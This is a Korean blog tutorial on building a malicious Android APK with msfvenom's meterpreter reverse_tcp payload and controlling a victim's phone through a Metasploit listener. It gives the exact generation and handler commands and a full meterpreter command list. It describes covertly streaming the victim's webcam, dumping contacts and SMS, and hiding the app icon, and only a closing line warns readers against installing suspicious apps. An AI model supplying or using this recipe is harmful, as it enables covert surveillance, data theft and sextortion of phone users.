최근 몸캠 피싱이나 보이스 피싱과 같은 사기피해 사건이 꾸준히 늘고 있다.
뿐 만아니라 택배를 가장한 문자나 코로나와 관련된 문자로 피해자들에게 악성앱을 설치하도록 유도한뒤
데이터를 다 빼가거나 협박을하여 이득을 취한다.
Tip 게시판에 적어둔 Msfvenom을 이용하여 악성앱을 제작해
리버스 쉘과 같은 원리로 동작하는 리버스 TCP 공격을 이용하여 피해자의 단말기를 제어할 수 있다.
먼저 휴대폰을 제어할 공격PC의 IP 확인
msfvenom으로 페이로드를 android로 생성하여 apk 생성
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP LPORT=포트지정 R > 암거나.apk
생성된 apk를 피해 단말기로 옮겨서 설치한다.
공격자의 PC에서는 리버스쉘과 같이 요청을 받을 수 있도록 리스닝상태로 대기해야한다.
msfconsole
use exploit/multi/handler
아래 그림과같이 옵션들이 모두 기본값으로 되어있는데 설정을 해줘야한다.
set payload android/meterpreter/reverse_tcp
set lhost IP
set lport 포트
show options으로 설정된 값 확인
run 또는 exploit 명령입력하여 실행하면 아래와같이 대기상태가 된다.
이제 피해자가 앱을 설치한다
휴대폰에 앱을 설치 할 때 아래 사진처럼 휴대폰의 모든 권한을 다 사용하는걸 볼 수 있다.
하지만 정작 앱을 실행하게되면 휴대폰에는 아무런 반응이 없다
하지만 앱을 실행하게되면 공격자의 메타스플로잇에 반응이 있다.
단말기를 제어할 수 있게 된것이다.
아래와 같은 명령어들을 지원한다.
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
detach Detach the meterpreter session (for http/https)
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid Get the session GUID
help Help menu
info Displays information about a Post module
irb Open an interactive Ruby shell on the current session
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
secure (Re)Negotiate TLV packet encryption on the session
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session
transport Manage the transport mechanisms
use Deprecated alias for "load"
uuid Get the UUID for the current session
write Writes data to a channel
Stdapi: File system Commands
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
cp Copy source to destination
del Delete the specified file
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lls List local files
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
------- -----------
ifconfig Display interfaces
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
------- -----------
execute Execute a command
getenv Get one or more environment variable values
getuid Get the user that the server is running as
localtime Displays the target system local date and time
pgrep Filter processes by name
ps List running processes
shell Drop into a system command shell
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands
===============================
Command Description
------- -----------
screenshare Watch the remote user desktop in real time
screenshot Grab a screenshot of the interactive desktop
Stdapi: Webcam Commands
=======================
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam
Stdapi: Audio Output Commands
=============================
Command Description
------- -----------
play play a waveform audio file (.wav) on the target system
Android Commands
================
Command Description
------- -----------
activity_start Start an Android activity from a Uri string
check_root Check if device is rooted
dump_calllog Get call log
dump_contacts Get contacts list
dump_sms Get sms messages
geolocate Get current lat-long using geolocation
hide_app_icon Hide the app icon from the launcher
interval_collect Manage interval collection capabilities
send_sms Sends SMS from target session
set_audio_mode Set Ringer Mode
sqlite_query Query a SQLite database from storage
wakelock Enable/Disable Wakelock
wlan_geolocate Get current lat-long using WLAN information
Application Controller Commands
===============================
Command Description
------- -----------
app_install Request to install apk file
app_list List installed apps in the device
app_run Start Main Activty for package name
app_uninstall Request to uninstall application
앱을 지우거나 설치하고
전화번호부 / 문자기록 등등 모든 휴대폰의 제어권을 가지고올 수있다.
webcam_stream이라는 명령어를 실행해보면
이렇게 피해자의 휴대폰에있는 카메라가 작동되어 라이브로 계속 스트리밍을 해주지만
정작 피해자의 휴대폰엔 아무 반응이 없어 알 수가 없다.
dump_contacts 와 같은 명령어로 전화번호부를 탈취할 수 있다.
이 외에도 정말 다양한 기능들이 있고 많은 정보를 얻을 수 있다.
msfvenom으로 앱을 만들 때 설치만 하게되면
바로 실행하고 앱이 숨겨지게끔 할 수 있으며
혹시라도 의심되는 문자를 받게된다면 아예 설치를 하지않는 것이 정답이다.
'모바일 > Android' 카테고리의 다른 글
[Android] 안드로이드 apk 메소드 추적 프리다 트레이스 (Frida Trace) (2) | 2022.04.14 |
---|---|
[Android] Jadx 메모리 부족 이슈 해결법 (1) | 2022.04.12 |
[Android] 화면 캡처 방지 우회 및 안드로이드 미러링 (scrcpy 에러) (2) | 2022.02.15 |
[Android] Frida(프리다) 설치 및 설정 (0) | 2022.02.14 |